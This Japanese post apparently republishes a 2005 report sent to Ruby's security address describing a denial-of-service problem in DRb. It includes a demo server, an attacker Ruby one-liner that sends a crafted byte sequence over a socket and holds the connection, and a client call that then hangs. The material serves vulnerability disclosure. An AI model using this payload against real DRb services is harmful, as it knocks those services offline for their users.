以前、DRb について次のような報告を security / ruby-lang.org に 送ったのですが、これは脆弱性ではないということで脆弱性情報公 開という形では公開は行われないそうです。 そこでここに公開します。 | From: Tanaka Akira <akr / m17n.org> | Subject: DRb DoS vulnerability | To: security / ruby-lang.org | Date: Mon, 04 Jul 2005 17:52:14 +0900 | Message-ID: <87zmt3vtpn.fsf / m17n.org> | | DRb にも DoS 問題があるようです。 | | NetBSD 2.0 で、次のようにしてサーバを起動します。 | | server% ./ruby -rdrb/drb -e ' | class S | def m(n) | "a" * n | end | end | DRb.start_service("druby://localhost:9000", S.new) | sleep | ' | | ここで攻撃者が次のように攻撃します。 | | attacker% ./ruby -rsocket -e 'TCPSocket.open("localhost", 9000) {|s| s.print "\000\000\000\003\004\0100\000\000\000\005\004\010\"\006m\000\000\000\004\004\010i\006\000\000\000\a\004\010i\003\240\206\001\000\000\000\003\004\0100"; sleep }' | | そうすると、クライアントが次のようにリクエストを送っても、返事がされず、 | サービスができない状態になっています。 | | client% ./ruby -rdrb/drb -e 'p DRbObject.new_with_uri("druby://localhost:9000").m(10)' | | まぁ、たぶん write でブロックしてるわけですが。 なお、この報告はバージョンを書き忘れたのですが、送った時点で cvs からとってきたものだったはずです。 -- [田中 哲][たなか あきら][Tanaka Akira]